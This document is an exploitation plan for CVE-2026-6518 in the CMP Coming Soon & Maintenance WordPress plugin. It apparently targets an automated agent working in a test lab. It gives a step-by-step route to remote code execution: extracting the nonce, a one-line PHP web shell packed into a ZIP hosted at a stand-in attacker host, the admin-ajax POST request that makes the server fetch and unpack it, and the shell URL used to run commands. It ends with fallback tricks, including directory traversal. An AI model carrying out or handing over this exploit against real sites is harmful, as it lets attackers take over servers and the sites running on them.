Exploitation Research Plan - CVE-2026-6518

1. Vulnerability Summary

CVE-2026-6518 is a critical missing authorization vulnerability in the CMP – Coming Soon & Maintenance Plugin (<= 4.1.16). The cmp_theme_update_install AJAX action fails to perform a strict capability check, allowing users with the publish_pages capability (Editors) to access it. More significantly, the function permits downloading a ZIP file from an arbitrary user-supplied URL and extracting its contents into the wp-content/plugins/cmp-premium-themes/ directory without validating the file types or content. This allows an authenticated attacker (specifically Administrators, as they are the ones provided with the necessary nonce) to achieve Remote Code Execution (RCE) by uploading a malicious PHP shell.

2. Attack Vector Analysis

• Endpoint: /wp-admin/admin-ajax.php
• Action: cmp_theme_update_install
• Vulnerable Parameter: niteo_url (The source URL of the malicious ZIP) and niteo_theme (The directory name created for extraction).
• Authentication: Authenticated. While the code checks for publish_pages (Editor+), the plugin only exposes the required nonce to Administrators via its admin settings pages.
• Preconditions: The plugin must be active. The server must have outgoing HTTP access to fetch the attacker's ZIP file.

3. Code Flow

1. Entry: The AJAX action cmp_theme_update_install is registered in niteo-cmp.php via add_action('wp_ajax_cmp_theme_update_install', array($this, 'cmp_theme_update_install'));.
2. Authorization Check: The handler (inferred to be in inc/class-cmp-render_settings.php or the main class) checks current_user_can('publish_pages').
3. Nonce Verification: The handler calls check_ajax_referer('cmp_nonce', 'nonce') (inferred).
4. Download: The function takes the niteo_url POST parameter and uses download_url() to fetch the ZIP file.
5. Extraction: The function uses unzip_file() to extract the ZIP into CMP_PREMIUM_THEMES_DIR + niteo_theme.
6. Sink: CMP_PREMIUM_THEMES_DIR is defined as wp-content/plugins/cmp-premium-themes/. This directory is web-accessible, allowing direct execution of PHP files within the extracted ZIP.

4. Nonce Acquisition Strategy

The nonce is localized in the WordPress admin dashboard for users with sufficient privileges (Administrators). It is attached to the cmp_ajax JavaScript object.

1. Authentication: Log in as an Administrator.
2. Navigation: Navigate to the CMP settings page: /wp-admin/admin.php?page=cmp-settings.
3. Extraction: Use browser_eval to retrieve the nonce from the global JavaScript scope.
   • JavaScript Variable: window.cmp_ajax?.nonce
4. Verification: If window.cmp_ajax.nonce is undefined, check for window.cmp_params.nonce (alternative naming used in some NiteoThemes versions).

5. Exploitation Strategy

Step 1: Prepare Malicious Payload

Create a ZIP file named rce.zip containing a simple PHP backdoor named shell.php:

<?php system($_GET['cmd']); ?>

Host this file on an attacker-controlled server (e.g., http://attacker.com/rce.zip).

Step 2: Acquire Nonce

Navigate to the CMP dashboard and extract the nonce using the agent's browser tools.

Step 3: Trigger Arbitrary File Upload

Send a POST request to admin-ajax.php to force the server to download and extract the ZIP.

• URL: http://vulnerable-wp.local/wp-admin/admin-ajax.php
• Method: POST
• Content-Type: application/x-www-form-urlencoded
• Parameters:
  • action: cmp_theme_update_install
  • niteo_theme: pwned
  • niteo_url: http://attacker.com/rce.zip
  • nonce: [EXTRACTED_NONCE] (Note: The parameter name might be _ajax_nonce if nonce fails).

Step 4: Execute Remote Code

The file will be extracted to wp-content/plugins/cmp-premium-themes/pwned/shell.php.
Access the shell to confirm RCE:

• URL: http://vulnerable-wp.local/wp-content/plugins/cmp-premium-themes/pwned/shell.php?cmd=id

6. Test Data Setup

1. Plugin Installation: Install and activate cmp-coming-soon-maintenance version 4.1.16.
2. User Creation: Ensure an Administrator user exists.
3. External Host: Prepare a local listener or mock server to host the rce.zip.

7. Expected Results

• The AJAX request should return a success message (often a JSON response like {"success":true} or 1).
• A new directory wp-content/plugins/cmp-premium-themes/pwned/ should be created.
• Requesting the shell should return the output of the id command.

8. Verification Steps

1. File System Check: Use WP-CLI to verify the file exists:

   ls -la /var/www/html/wp-content/plugins/cmp-premium-themes/pwned/shell.php
   

2. Content Check: Verify the content of the uploaded file matches the payload:

   cat /var/www/html/wp-content/plugins/cmp-premium-themes/pwned/shell.php
   

9. Alternative Approaches

• Parameter Brute-forcing: If niteo_url or niteo_theme are incorrect, the handler may use theme_url or slug.
• Nonce Action: If cmp_nonce fails, the nonce action might be identical to the AJAX action string: cmp_theme_update_install.
• Directory Traversal: If niteo_theme is not properly sanitized, try ../ to upload outside the cmp-premium-themes directory, although the primary goal is RCE in the dedicated folder.